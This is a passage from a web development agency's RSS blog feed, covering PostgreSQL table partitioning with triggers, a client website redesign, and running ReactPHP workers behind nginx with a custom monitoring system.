<td>Time per request</td>
<td>581.904 [ms]</td>
</tr>
<tr>
<td>Time per request</td>
<td>0.582 [ms]</td>
</tr>
<tr>
<td>Transfer rate</td>
<td>1500.79 [Kbytes/sec]</td>
</tr>
</tbody>
</table>
<p>It was obvious that Go without Nginx&nbsp;worked faster and steadier. This made it clear how to proceed further.</p>
<p>We were clear to go with our next task. Since we wanted to use different domains on one port we had to find small and fast proxy for our Go API. Which we did.</p>
<p>So in case you need to build a high loaded application operating tons of requests we strongly recommend Go and our approach if you find it useful.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Scaling PostgreSQL performance using table partitioning</title>
                <link>https://mtr-design.com/news/scaling-postgresql-performance-using-table-partitioning</link>
                <guid>https://mtr-design.com/news/scaling-postgresql-performance-using-table-partitioning</guid>
                <pubDate>Thu, 09 Aug 2018 11:25:00 +0000</pubDate>
                <dc:creator>Valentin B</dc:creator>
                <description><![CDATA[<p>We have a project which demands keeping detailed statistics data for different events including information about date and time, user&rsquo;s IP, HTTP referrer, parameters that are passed and so on. In the beginning the information was stored in MySQL database server, but as it grew fast we decided to move it in a separate server with other database system which could handle it &ndash; we chose PostgreSQL.</p>]]></description>
                <content:encoded><![CDATA[<p>The detailed statistics data for the current day is stored on a fast MySQL DB server. At the end of the day we take the data and move it to the PostgreSQL server with a simple mysql-dump to postgresql-import script. Since statistics are a constant value for the time being, we wrote another script which piled the daily data in other MySQL table and this way we didn&rsquo;t need to look at the big detailed statistics data table in order to count everything again and again.</p>
<p>Now our clients open the statistics page and they see the aggregated statistics data. Each data row has a link to the detailed statistics which are stored, as we said, in a PostgreSQL table. The search in the said table is based on several criteria so it was convenient to add an index that would boost the process. So far so good!</p>
<p>Everything was fine in the first few months until the amount of data increased again especially when we began keeping it for longer period of time &ndash; a year and above (from 2017-01-01). At that time our table had 666,454,166 rows in total and was about 350 GB of size - raw, without indices.</p>
<p>Having a table of such size isn&rsquo;t a problem itself, but can cause other issues like:</p>
<ul>
<li>query performance starting to degrade;</li>
<li>indices take much longer to update;</li>
<li>maintenance tasks, such as vacuum, also become uncommonly long;</li>
<li>daily backups take too much time.</li>
</ul>
<p>So depending on how we needed to manage the stored information, Postgres table partitioning was a great way to improve query performance and deal with large amount of data over time without having to choose a different database system.</p>
<h2>Partitioning and inheritance</h2>
<p>Table partitioning is a good solution in our case. We take one massive table and split it into many smaller ones. These smaller tables are called partitions or child tables. Operations like backups, SELECTs, and DELETEs can be performed with the individual partitions or with all of the partitions. Partitions can also be dropped or exported as single transactions.</p>
<h3>Master table</h3>
<p>Master partition table is the template that the child tables derive from. This is an ordinary table, but it doesn&rsquo;t contain any data and requires a trigger in order to execute the queries leading to the relevant child table. There is a one-to-many relationship between a master table and child tables, so to speak there is one master table and many child tables.</p>
<h3>Child tables</h3>
<p>These tables inherit their structure from the master table and also belong to a single master table. The child tables contain the full data.</p>
<h3>Partition Function and trigger</h3>
<p>The partition function is a stored procedure that determines which child table should accept a new record. The master table has a trigger which calls a partition function. There are two typical approaches for sending records to the designated child tables &ndash; by date values and by fixed values (like geo locations). In our case since the statistics data is time sensitive information, we will use the date values criteria.</p>
<p>{{ newsletter }}</p>
<h2>Configuring table partitions</h2>
<p>Here is what we did:</p>
<ol>
<li>Created a master table</li>
<li>Created a trigger function</li>
<li>Created a table trigger</li>
</ol>
<h3>The master table</h3>
<p>In order to store the information about the tracked objects and events we created a master table called detailed statistics.</p>
<pre>CREATE TABLE public.detailed_statistics (<br />    id integer NOT NULL,<br />    widget_id integer,<br />    offer_type varchar(16) not null,<br />    offer_offer_id integer,<br />    offer_creative_id integer,<br />    event_type types,<br />    event_revenue numeric(15,5),<br />    event_cost numeric(15,5),<br />    event_url text,<br />    event_parameters text,<br />    user_device varchar(32) not null,<br />    user_os varchar(64) not null,<br />    user_browser varchar(64) not null,<br />    user_remote_addr varchar(15) not null,<br />    created_at timestamp with time zone,<br />    day date<br />);</pre>
<p>For one month this table may be filled with millions of rows and this is the reason we&nbsp; wanted to partition it - to improve query performance.</p>
<h3>The trigger function</h3>
<p>The trigger function we created performs as it follows:</p>
<ul>
<li>Creates child partition tables if such doesn&rsquo;t exist yet;</li>
<li>The name of each child partition table is given following the same logic - public.detailed_statistics_yYYYYmMM - the partitions are determined by the values in the day column and we will have one partition per calendar month;</li>
<li>Creates indexes where needed;</li>
</ul>
<p>So here is the function syntax:</p>
<pre>CREATE OR REPLACE FUNCTION public.statistics_partition_function()<br />    RETURNS TRIGGER <br />AS $BODY$<br />    DECLARE<br />    partition_name text;<br />    partition_date TIMESTAMP;<br />    partition_enddate TIMESTAMP;<br />    BEGIN<br /><br />    --Takes the current inbound day value and determines when midnight is for the given date<br />    partition_date := date_trunc('month', NEW.created_at);<br />    partition_name := 'detailed_statistics_y' || to_char(partition_date, 'YYYYmMM');<br /><br />    -- Check if the partition exists<br />    PERFORM 1<br />    FROM   pg_catalog.pg_class c<br />    JOIN   pg_catalog.pg_namespace n ON n.oid = c.relnamespace<br />    WHERE  c.relkind = 'r'<br />    AND    c.relname = partition_name<br />    AND    n.nspname = 'public';<br /><br />    -- Create the partition if doesn't exist<br />    IF NOT FOUND THEN<br />        partition_enddate:=partition_date::timestamp + INTERVAL '1 month';<br />        EXECUTE 'CREATE TABLE IF NOT EXISTS public.' || quote_ident(partition_name) || ' (<br />            CHECK ( day &gt;= ' || quote_literal(partition_date) || '::date AND day &lt; ' || quote_literal(partition_enddate) || '::date )<br />        ) INHERITS (public.detailed_statistics)';<br /><br />        -- Table permissions are not inherited from the parent.<br />        EXECUTE 'ALTER TABLE public.' || quote_ident(partition_name) || ' OWNER TO postgres';<br /><br />        -- Indexes are defined per child, so we assign a default index that uses the partition columns<br />        EXECUTE 'CREATE INDEX ' || quote_ident(partition_name||'_dewoo') || ' ON public.' || quote_ident(partition_name) || ' USING btree (day DESC, event_type, widget_id, offer_type, offer_offer_id)';<br />    END IF;<br /><br />    -- Insert the current record into the correct partition, which we are sure will now exist.<br />    EXECUTE 'INSERT INTO public.' || quote_ident(partition_name) || ' VALUES ($1.*)' USING NEW;<br />    RETURN NULL;<br />    END;<br />$BODY$<br />LANGUAGE plpgsql;</pre>
<p>If the partition doesn&rsquo;t exist we create it. We use CHECK to specify which rows will end up in this table, and use INHERITS to bind this child table to its parent. After that we must add INDEX on this new child table as child tables are created without indexes.</p>
<h3>The table trigger</h3>
<p>After the partition function has been created we also make an insert trigger which is added to the master table. This trigger calls the partition function when new records are inserted.</p>
<pre>CREATE TRIGGER insert_detailed_statistics_trigger<br />    BEFORE INSERT<br />    ON public.detailed_statistics<br />    FOR EACH ROW<br />    EXECUTE PROCEDURE public.statistics_partition_function();</pre>
<p>That&rsquo;s it! The partitions have been created, the trigger function defined, and the trigger has been added to the master table. This is all you need to start inserting data on the statistics table and the data can be directed to the appropriate partition.</p>
<h2>Let&rsquo;s check!</h2>
<p>Let&rsquo;s conduct a simple test to check if we have made proper partitioning which will be proved by hitting only a small portion of real data.</p>
<pre>EXPLAIN ANALYSE<br />SELECT * FROM detailed_statistics <br />WHERE day BETWEEN '2018-05-31'::date AND '2018-06-01'::date <br />AND event_type = 'click'<br />AND widget_id = 7194<br />AND offer_type = 'link'<br />AND offer_offer_id = 1610<br />LIMIT 30</pre>
<p>And here is the result:</p>
<pre>Limit  (cost=0.00..104.05 rows=30 width=670)<br />  -&gt;  Append  (cost=0.00..193955.32 rows=550922 width=670)<br />        -&gt;  Seq Scan on detailed_statistics  (cost=0.00..0.00 rows=1 width=1898)<br />              Filter: ((day &gt;= '2018-05-31'::date) AND (day &lt;= '2018-06-01'::date) AND (event_type = 'click'::types) AND (widget_id = 7194) AND ((offer_type)::text = 'linkcard'::text) AND (offer_offer_id = 1610))<br />        -&gt;  Index Scan using detailed_statistics_y2018m05_decoo on detailed_statistics_y2018m05  (cost=0.57..19644.57 rows=307903 width=636)<br />              Index Cond: ((day &gt;= '2018-05-31'::date) AND (day &lt;= '2018-06-01'::date) AND (event_type = 'click'::types) AND (widget_id = 7194) AND ((offer_type)::text = 'linkcard'::text) AND (offer_offer_id = 1610))<br />        -&gt;  Index Scan using detailed_statistics_y2018m06_decoo on detailed_statistics_y2018m06  (cost=0.56..174310.75 rows=243019 width=672)<br />              Index Cond: ((day &gt;= '2018-05-31'::date) AND (day &lt;= '2018-06-01'::date) AND (event_type = 'click'::types) AND (widget_id = 7194) AND ((offer_type)::text = 'linkcard'::text) AND (offer_offer_id = 1610))<br />Planning time: 0.987 ms<br />Execution time: 34.909 ms</pre>
<p>Well, we think this solution definitely works&nbsp; as currently we have 16 child tables but the planner hits only two &ndash;&nbsp; exactly the ones we need!</p>
<h2>Should you use table partitioning in your project too?</h2>
<p>Table partitioning allows you to divide one very large table into many smaller tables thus dramatically increasing the performance.&nbsp; However, this shouldn&rsquo;t be the first solution to count on when you run into problem. If you wonder whether table partitioning is the proper solution for you then maybe you should answer some questions:</p>
<ul>
<li>Do you have a large data set stored in one table?</li>
<li>Is the data going to be updated after being initially inserted?</li>
<li>Did you make as much optimization as possible with indexes?</li>
<li>Do you think that the data has little value after a period of time?</li>
<li>Is there a small range of data that has to be queried to get the results needed?</li>
<li>Can the older data with little value be archived?</li>
</ul>
<p>Table partitioning makes sense if you answered yes to all of these questions. But be careful, table partitioning requires evaluation of how you&rsquo;re querying your data, planning ahead and considering your usage patterns. As long as you take these factors into account, table partitioning can create real performance boost for your queries and your project.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Rollplast.com – a complete redesign</title>
                <link>https://mtr-design.com/news/rollplast-com-a-complete-redesign</link>
                <guid>https://mtr-design.com/news/rollplast-com-a-complete-redesign</guid>
                <pubDate>Mon, 09 Jul 2018 10:00:00 +0000</pubDate>
                <dc:creator>Ivaylo F</dc:creator>
                <description><![CDATA[<p class="western" style="margin-bottom: 0cm;">We present you our latest launch: the fully redesigned and rebuilt company website of Rollplast - one of the largest window, door and blinds manufacturers in Bulgaria.</p>]]></description>
                <content:encoded><![CDATA[<h2>The project</h2>
<p>With more than 18 years of experience Rollplast is one of the leading manufacturers of uPVC windows, doors, blinds and glass partitions in Bulgaria. Their expanse on the Balkans&rsquo; market demanded&nbsp; a scalable multilingual website which could present the company, products catalogue, store locations and business opportunities to the local and international clients.</p>
<p>We created the new website from scratch - from a customised administration panel, designated for straightforward management and categorisation of wide variety of products and details, to a contemporary and responsive front-end design which purpose was to provide the clients and business partners with a one-click contact with a sales representative.</p>
<p>In the course of the work we kept in mind the requirements of the client and in each step of the process worked with the marketing team in order to create smooth user experience and to accomplish the main objective - increasing the leads conversion rate.</p>
<h2>Responsive full-screen layout</h2>
<p>In order to achieve the high-end catalogue appearance we've accented on quality imagery and spacious text areas which fill the entire screen in every resolution.</p>
<p></p>
<p><img src="/storage/var/images/news/rollplast/rollplast-homepage.png" style="border: none;" alt="Homepage" caption="false" width="1200" height="640" /></p>
<hr />
<h2>Products listing</h2>
<p>The full range of products is organised in customisable categories and sub-categories with additional information areas and technical specifications.</p>
<p></p>
<p><img src="/storage/var/images/news/rollplast/rollplast-products.png" style="border: none;" alt="Products catalogue" caption="false" width="1150" height="615" /></p>
<hr />
<h2>Locations map</h2>
<p>We built filter and search functionality based on Google Maps which allows browsing more than 240 locations in 4 countries. Finding the nearest Rollplast store or showroom have never been easier.</p>
<p></p>
<p><img src="/storage/var/images/news/rollplast/rollplast-map.png" style="border: none;" alt="Locations map" caption="false" width="687" height="600" /></p>
<hr />
<h4>Visit the site on <a href="https://rollplast.com/" target="_blank" rel="noopener noreferrer">rollplast.com</a></h4>]]></content:encoded>
            </item>
                    <item>
                <title>ReactPHP</title>
                <link>https://mtr-design.com/news/reactphp</link>
                <guid>https://mtr-design.com/news/reactphp</guid>
                <pubDate>Fri, 11 May 2018 12:00:00 +0000</pubDate>
                <dc:creator>Valentin B</dc:creator>
                <description><![CDATA[<p>One of our clients is a performance driven media company. They needed a complex solution for serving automatically text, image, video and interactive media advertisements to targeted clients. We chose to build the platform with PHP. With time it gained momentum and has began generating several million events daily. Since Apache + PHP-FPM couldn&rsquo;t handle all the requests, the response time increased and some of the requests were on the edge to be rejected. For a service of this kind this would have been devastating. We needed something more powerful and swift. That's when we turned to ReactPHP.</p>]]></description>
                <content:encoded><![CDATA[<h2>The project</h2>
<p>One of our clients is a performance driven media company utilizing exclusive properties and platforms to link brands and consumers through targeted marketing solutions.</p>
<p>Two years ago they commissioned us to develop their new new project. They needed a complex solution for serving automatically text, image, video and interactive media advertisements to targeted clients. We chose to build the platform with PHP. Everything was functioning fine for some time but recently the platform gained momentum and has began generating several million events daily (impressions, clicks, conversions). These needed to be tracked properly.</p>
<p>The traditional way to do this proved to be ineffective. Since Apache + PHP-FPM couldn&rsquo;t handle all&nbsp; the requests, the response time increased and some of the requests were on the edge to be rejected. And for a service of this kind this would have been devastating. We tried using several caching mechanisms, different databases, aggregation techniques, etc. However that was insufficient. We needed something more powerful and swift.</p>
<p>So we tried to find what needed to be improved and what software could be good enough to tackle the issue. The team has a big experience with Python and async frameworks but we wanted something in PHP. We&rsquo;ve heard about ReactPHP before but haven&rsquo;t got the chance to see it working so this time we decided to give it a go.</p>
<h2>Server configuration</h2>
<p>What we needed was a server that could spawn several ReactPHP workers to take advantage of the server&rsquo;s multi core CPUs. The best performance can be achieved by PHP7 and Nginx as a load balancer.</p>
<h3>Nginx as a Load-Balancer</h3>
<p>It is possible to use Nginx as a very efficient HTTP load balancer which distributes traffic to several application servers and improves the performance, scalability and reliability of our ReactPHP workers.</p>
<p>Our goal is to proxy only those requests that don&rsquo;t point to a local file. The number of ReactPHP workers should be at least equal to the number of CPU cores. Also, using UDS (Unix Domain Sockets) is preferable to using TCP/IP because with UDS we have ~50% latency reduction and almost 5X more throughput (source: https://github.com/rigtorp/ipc-bench).</p>
<p>By default, Nginx redefines two header fields in the proxied requests, &ldquo;Host&rdquo; and &ldquo;Connection&rdquo;, and eliminates the header fields whose values are empty strings. So since we want ReactPHP to receive host and remote address properly we should include them in the configuration.</p>
<p>The following configuration can be used for our react+nginx setup:</p>
<pre>upstream reactor  {<br />  server unix:/tmp/reactphp/reactphp.worker1.sock fail_timeout=1;<br />  server unix:/tmp/reactphp/reactphp.worker2.sock fail_timeout=1;<br />  server unix:/tmp/reactphp/reactphp.worker3.sock fail_timeout=1;<br />  server unix:/tmp/reactphp/reactphp.worker4.sock fail_timeout=1;<br />}<br />server {<br />  ...<br />  real_ip_header X-Forwarded-For;<br />  real_ip_recursive on;<br />  location / {<br />    proxy_set_header  Host $host;<br />    proxy_set_header  X-Real-IP $remote_addr;<br />    proxy_set_header  X-Forwarded-Proto https;<br />    proxy_set_header  X-Forwarded $remote_addr;<br />    proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;<br />    proxy_set_header  X-Forwarded-Host $remote_addr;<br />    if (!-f $request_filename) {<br />      proxy_pass http://reactor;<br />      break;<br />    }<br />    try_files $uri $uri/ /index.php?$query_string;<br />  }<br />  ...<br />}</pre>
<h3>ReactPHP as HTTP server</h3>
<p>To start using ReactPHP as a HTTP server or in our case as a worker we can use its <a href="https://github.com/reactphp/http" target="_blank" rel="noopener noreferrer">HTTP component</a> and require it with composer:</p>
<pre>composer require react/http:^0. 8.1</pre>
<p>When we have the component installed we can create simple server.php file which will start our workers.</p>
<pre>/** Start the project via bootstrap **/<br />require_once 'bootstrap.php';<br /><br />$options = getopt('', array('worker:'));<br /><br />if(isset($options['worker'])) {<br />  $number = $options['worker'];<br />  } else {<br />    die('use with --worker [number]');<br />  }<br /><br /># Remove the previous socket file if exist<br />  $workerUDS = sprintf(/tmp/reactphp/reactphp.worker%s.sock, $number);<br />  if (file_exists($workerUDS)) {<br />    unlink($workerUDS);<br />  }<br /><br />$loop = React\EventLoop\Factory::create();<br />  $socket = new React\Socket\UnixServer($workerUDS, $loop);<br />  $server-&gt;listen($socket);<br /><br />$loop-&gt;run();</pre>
<p>Reading the last line, we have:</p>
<ul>
<li><code>$loop-&gt;run()</code> &ndash; this makes our worker run inside an infinite loop (that's how long running processes work)</li>
<li><code>$socket-&gt;listen($socket)</code> &ndash; it opens a socket by listening to a port (that's how servers work)</li>
</ul>
<p>In order to run several workers the script expects a parameter with key worker which indicates the number of the worker. So we can have as many as we want (1, 2, 3, &hellip; 10, and so on) workers, we just need to add them to the Nginx upstream setting.</p>
<p>The script uses our custom bootstrap. Inside there is a piece of code for the router that will handle each HTTP request. For example we can create a simple &ldquo;Ping? Pong!&rdquo; request like this:</p>
<pre>$server = new Server(function (ServerRequestInterface $request) {<br />  # Prepare needed parameters<br />  $method = $request-&gt;getMethod();<br />  $path = $request-&gt;getUri()-&gt;getPath();<br />  switch ($method) {<br />    # Handle GET requests<br />    case 'GET':<br />      switch ($path) {<br />        ### Ping? Pong! ###<br />        case '/ping/':<br />          $response = [<br />            'code' =&gt; 200,<br />            'headers' =&gt; ['Content-Type' =&gt; 'text/html']<br />            'body' =&gt; 'Pong!'<br />          ]);<br />        break;<br />      }<br />    break;<br />  }<br />  return new Response(<br />    $response['code'],<br />    $response['headers'],<br />    $response['body']<br />  );<br />});</pre>
<p>We can run one of the workers like this:</p>
<pre>php server.php  --worker 1</pre>
<p>Finally we can visit the page at http://localhost/ping/, and see a message Pong!</p>
<h2>Benchmark</h2>
<p>The code was rewritten and optimized to work with ReactPHP and after that we made a few benchmark tests on one of our local machines &ndash; 4 cores, 4Gb RAM.</p>
<p>All requests simulate real requests with the functionality we needed &ndash; we have DB reading and writing, writing to a log file, Memcached requests and so on. So here are the results:</p>
<p><img src="/storage/var/images/news/reactphp/image1.png" alt="Nginx + FPM-PHP - 1000 requests with 30 connections (concurrency level)" width="500" height="500" /><br /><em>Nginx + FPM-PHP - 1000 requests with 30 connections (concurrency level)</em></p>
<p><img src="/storage/var/images/news/reactphp/image3.png" alt="Nginx + ReactPHP - 1000 requests with 30 connections (concurrency level)" width="500" height="500" /><br /><em>Nginx + ReactPHP - 1000 requests with 30 connections (concurrency level)</em></p>
<p><img src="/storage/var/images/news/reactphp/image2.png" alt="Nginx + FPM-PHP - 2000 requests with 100 connections (concurrency level)" width="500" height="500" /><br /><em>Nginx + FPM-PHP - 2000 requests with 100 connections (concurrency level)</em></p>
<p><img src="/storage/var/images/news/reactphp/image5.png" alt="Nginx + ReactPHP - 2000 requests with 100 connections (concurrency level)" width="500" height="500" /><br /><em>Nginx + ReactPHP - 2000 requests with 100 connections (concurrency level)</em></p>
<p><img src="/storage/var/images/news/reactphp/image4.png" alt="Nginx + ReactPHP - 2000 requests with 200 connections (concurrency level)" width="500" height="500" /><br /><em>Nginx + ReactPHP - 2000 requests with 200 connections (concurrency level)</em></p>
<p><img src="/storage/var/images/news/reactphp/image7.png" alt="Nginx + ReactPHP - 5000 requests with 500 connections (concurrency level)" width="500" height="500" /><br /><em>Nginx + ReactPHP - 5000 requests with 500 connections (concurrency level)</em></p>
<p>It&rsquo;s evident from the graphs how much faster ReactPHP is. The regular PHP-FPM server started to cut the connections when I set concurrency level to 200 - 1698 requests were rejected! So 200 parallel requests at same time couldn't be handled by the local test server.</p>
<p>On the other hand on the same server ReactPHP handled 200 and even 500 parallel connections and processed all 2000/5000 requests without any problem!</p>
<p>As we can see, the ReactPHP server with nginx as a load balancer is over 10-15 times faster than old-school PHP-FPM and can handle up to 10x requests without any problem. This means, we have a dramatic performance increase with our Nginx+ReactPHP application. So this should worth a try.</p>
<h2>Why does the performance increase?</h2>
<p>In order to explain the reason behind this increased performance with ReactPHP we have to take a look at how the the things work usually. In a normal stack like Nginx / PHP-FPM for each HTTP request:</p>
<ol>
<li>a HTTP server receives the request;</li>
<li>it starts a new PHP process, super globals like $_GET, $_POST, $_SERVER, etc are created using the data from the request;</li>
<li>the PHP process executes our code and returns the output;</li>
<li>the HTTP server uses the output to create a response and terminates the PHP process.</li>
</ol>
<p>In this scenario, we may not worry too much about the following:</p>
<ul>
<li>each new process starting with a fresh empty memory which is freed once it exits (so there are not memory leaks)</li>
<li>a process crashing won't affect other processes</li>
<li>static and global variables are not shared between processes</li>
<li>each new process starts with the new code</li>
</ul>
<p>The traditional architecture is "shared-nothing". That means killing the PHP process once the response is sent and sharing nothing between two Requests.</p>
<p>The biggest disadvantage of such a setup is the low performance, because creating a PHP process for each HTTP Request means executing the following steps (bootstrap footprint):</p>
<ul>
<li>starting a process;</li>
<li>starting PHP while loading configuration, starting extensions, etc;</li>
<li>starting the application while loading configuration, initializing services, autoloading, etc.</li>
</ul>
<p>On the contrary with ReactPHP we keep our application always running between requests so we only execute this bootstrap once, upon starting the server - the footprint is absent from Requests.</p>
<p>However this comes at a price - now we're vulnerable to memory consumption, fatal error, statefulness, code update worries and keeping connections of any kind alive (like MySQL, PostgreSQL, Memcached) so we have to be very careful and handle all these issues on our own.</p>
<h2>Going to production with ReactPHP</h2>
<p>Now that we are ready to go with our application as an HTTP server with multiple workers we need to execute a couple of additional tasks: we have to make the code stateless and we need to restart the workers on each code update.</p>
<p>We created a bash script that takes care of our workers so they can be managed easily and run in the background. We can call it server.sh</p>
<pre>#!/bin/bash<br /><br />if [ "$#" -ne 2 ];then<br />  echo "Usage: $(basename $0) start|stop|kill|restart|status [worker-number]"<br />  exit 1<br />fi<br /><br />APP_NAME=server.php<br />LOG_FILE=private/logs/reactphp/server.worker$2.log<br /><br />pgrep -u $USER -f "$APP_NAME --worker $2$" &gt; /dev/null #(-l will list the full command with args)<br />RUNNING="$?"<br />MY_PID=$(pgrep -u $USER -f "$APP_NAME --worker $2$")<br /><br />case "$1" in<br />  start)<br />    if [ "$RUNNING" -eq 1 ]; then<br />      echo -e "Worker is not running! Starting it..."<br />      nohup php $APP_NAME --worker $2 &gt; $LOG_FILE 2&gt;&amp;1 &amp;<br />    else<br />      echo "Worker is running. Processes:"<br />      pgrep -u $USER -f "$APP_NAME --worker $2$" &ndash;l<br />    fi<br />    ;;<br />  stop)<br />    if [ "$RUNNING" -eq 1 ]; then<br />      echo -e "Worker is not running; nothing to stop!"<br />    else<br />      echo -e "Worker is running; killing it!"<br />      kill -15 $MY_PID<br />    fi<br />  ;;<br />  kill)<br />    if [ "$RUNNING" -eq 1 ]; then<br />      echo -e "Worker is not running; nothing to stop!"<br />    else<br />      echo -e "Worker is running; killing it!"<br />      kill $MY_PID<br />    fi<br />  ;;<br />  status)<br />  if [ "$RUNNING" -eq 1 ]; then<br />    echo -e "Worker is not running $2!"<br />  else<br />    echo "Worker is running. Processes:"<br />    pgrep -u $USER -f "$APP_NAME --worker $2$" &ndash;l<br />  fi<br />  ;;<br />  restart)<br />    if [ "$RUNNING" -eq 1 ]; then<br />      echo -e "Worker is not running; starting it!"<br />      nohup php $APP_NAME --worker $2 &gt; $LOG_FILE 2&gt;&amp;1 &amp;<br />    else<br />      echo -e "Worker is running; restarting it!"<br />      kill -15 $MY_PID<br />      nohup php $APP_NAME --worker $2 &gt; $LOG_FILE 2&gt;&amp;1 &amp;<br />    fi<br />  ;;<br />  *)<br />    echo "Usage: $(basename $0) start|stop|restart|status --worker [worker-number]"<br />    exit 1<br />esac</pre>
<p>With this script we can effortlessly start, stop, restart, kill and get the process status of a worker. And it&rsquo;s pretty easy to use:</p>
<pre>./server.sh start 1</pre>
<p>And our first worker is LIVE.</p>
<p>We use GIT to manage our development process so the easiest way to restart the workers (when we have code updates to deploy) is to execute a restart command for all the workers on post receive.</p>
<p>We can add the following lines to git/hooks/post-receive file:</p>
<pre># Restart all workers<br />  cd /path/to/the/project<br /><br />  chmod 755 server.sh<br />  chmod 755 antineutrino.sh<br /><br />  ./server.sh restart 1<br />  ./server.sh restart 2<br />  sleep 2<br />  ./server.sh restart 3<br />  ./server.sh restart 4</pre>
<p>You may wonder why there is a <strong>sleep</strong> command. The answer is simple &ndash; we don&rsquo;t want to reject any request which is received by Nginx while the workers are unavailable. If you have noticed in our Nginx configuration file we&rsquo;ve added fail_timeout=1 to each upstream location which means if the worker is down it will be checked again in one second (by default this setting is 10 seconds which is too long in our case). So we give 2 seconds for the first half of workers to be restarted and then we restart the rest.</p>
<p>Another cool thing that we&rsquo;ve implemented in our code is the support of killing signals thanks to the ReactPCNTL library. In our server.sh script the restart and stop commands send SIGTERM and the kill command terminates the process. We added the following lines to the bootstrap.php:</p>
<pre># Graceful stop<br />  $exit = function() use ($loop) {<br />    $loop-&gt;stop();<br />  };<br /><br /># Wait for exit signal...<br />  $pcntl = new MKraemer\ReactPCNTL\PCNTL($loop);<br />  $pcntl-&gt;on(SIGTERM, $exit);<br />  $pcntl-&gt;on(SIGINT, $exit);</pre>
<p>Thus none of the workers will be restarted before its current task (Request) is finished.</p>
<p>Regarding fatal errors and memory consumption, we can mitigate their impact using simple strategy - we restart the server once it stops. There is a plenty of software that handle this task - PHP-PM, Aerys, Supervisord and others.</p>
<p>Instead we decided to build our custom monitoring system again using ReactPHP!</p>
<h2>ReactPHP Monitoring system</h2>
<p>The monitoring system that we built does a few things:</p>
<ul>
<li>monitors whether the workers are alive;</li>
<li>follows what are the workers&rsquo; current status (current memory usage, peak memory usage, finished tasks;</li>
<li>sends alerts in case something goes wrong;</li>
<li>performs some other actions - for example like restarting the workers.</li>
</ul>
<p>So what we did was to create a simple and stable ReactPHP worker to monitor the main tracker workers. We decided to communicate with the workers via socket connections and to fetch the stats mentioned above (uptime, memory, finished tasks) every 30 seconds. Also the monitoring system is watching for the server load, memory usage and the number of the requests.</p>
<p>In our workers&rsquo; bootstrap we&rsquo;ve added the following lines to allow socket connections from the monitoring system:</p>
<pre>/** Terminal **/<br />$terminal = new React\Socket\UnixServer(&lsquo;/tmp/reactphp/reactphp.worker&rsquo;. $number .&rsquo;.sock&rsquo;, $loop);<br />$terminal-&gt;on('connection', function(React\Socket\ConnectionInterface $connection) use ($loop, $startTime, &amp;$tasks) {<br />  $connection-&gt;on('data', function($data) use ($connection, $startTime, &amp;$tasks) {<br />    switch(trim($data)) {<br />      case 'levels':<br />        $memoryUsage = \Tools\Utils::getServerMemoryUsage();<br />        $connection-&gt;write(sprintf("server_memory:%s|%s|%s\n",<br />          $memoryUsage["free"],                         # Free<br />          $memoryUsage["total"] - $memoryUsage["free"], # Used<br />          $memoryUsage["total"]                         # Total<br />        ));<br />        $connection-&gt;write(sprintf("process_memory:%s|%s|%s|%s|%s\n",<br />          memory_get_usage(),          # Used<br />          memory_get_usage(true),      # Used real<br />          memory_get_peak_usage(),     # Peak<br />          memory_get_peak_usage(true), # Peak real<br />          ini_get('memory_limit')      # Memory limit<br />        ));<br />        $connection-&gt;write(sprintf("start_time:%s\n",<br />          $startTime<br />        ));<br />        $connection-&gt;write(sprintf("tasks:%s\n",<br />          $tasks<br />        ));<br />        break;<br />    }<br />  });<br />});</pre>
<p>And now our workers are ready to accept connections from the monitoring system. Next let&rsquo;s see how the monitoring system will connect to the workers.</p>
<p>We created a file called monitoring.php as well as a monitoring.sh bash file which runs the application in a background mode. In the config file we added all workers&rsquo; instances that we want to monitor.</p>
<pre>$connector = new React\Socket\UnixConnector($loop, array(<br />  'timeout' =&gt; 10.0,<br />  'dns' =&gt; false<br />));<br /><br />for ($idx = WORKERS_FIRST_IDX; $idx &lt; (WORKERS_FIRST_IDX + WORKERS_TOTAL); $idx++) {<br />  $statistics[$idx] = $defaultValues;<br />  $blockUDS = sprintf('/tmp/reactphp/reactphp.worker'. $number .'.statistics.sock', $idx);<br /><br />  $timer = $loop-&gt;addPeriodicTimer(MONITORING_UPDATE_TIME, function () use ($connector, $idx, $blockUDS) {<br />    $connector-&gt;connect(sprintf($blockUDS, $idx))-&gt;then(<br />      function (ConnectionInterface $connection) use ($blockUDS, $idx, &amp;$statistics) {<br />        $connection-&gt;on('data', function ($data) use ($connection, $blockUDS, $idx) {<br />          // Collect information from a worker and store it in DB or in Cache<br />          // Checking its memory usage and send an alert if something's wrong<br />          }<br />          $connection-&gt;end();<br />        });<br />        # Send a "levels" command on connect<br />        $connection-&gt;write('levels' . PHP_EOL);<br /><br />        # Report errors to STDERR<br />        $connection-&gt;on('error', function ($error) use ($connection) {<br />          $connection-&gt;end();<br />        });<br /><br />        # Report closing and stop reading from input<br />        $connection-&gt;on('close', function () use ($connection) {<br />          unset($connection);<br />        });<br />      },<br />      # Failed to connect due to $error<br />      function (Exception $error) use ($connector) {<br />        // Send a Slack alert that the worker is down.<br />      }<br />    );<br />  });<br />}</pre>
<p>We use the addPeriodicTimer method from ReactPHP EventLoop Component&nbsp; which is useful for invoking specific callback repeatedly after the set interval.</p>
<p>Once we collect the metrics we can display them on some password protected URL. As mentioned before we have two kinds of stats &ndash; Server overview and Workers overview. Here is how our tracking system displays them:</p>
<p><img src="/storage/var/images/news/reactphp/screen-server.jpg" alt="Server overview" width="800" height="514" /><br /><em>Server overview</em></p>
<p><img src="/storage/var/images/news/reactphp/screen-workers.jpg" alt="Workers overview" width="800" height="514" /><br /><em>Workers overview</em></p>
<h2>Final words</h2>
<p>ReactPHP is a powerful library indeed. You only need about 40-50 lines of code to run a simple application and you will have a superfast HTTP server. Using ReactPHP we managed to kill the expensive bootstrap of our application (one of the most time consuming parts of the process) and we drastically increased the performance of the platform.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Skoosh Case Study - Data Matching in the Hotel Industry</title>
                <link>https://mtr-design.com/news/skoosh-case-study</link>
                <guid>https://mtr-design.com/news/skoosh-case-study</guid>
                <pubDate>Wed, 18 Mar 2015 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
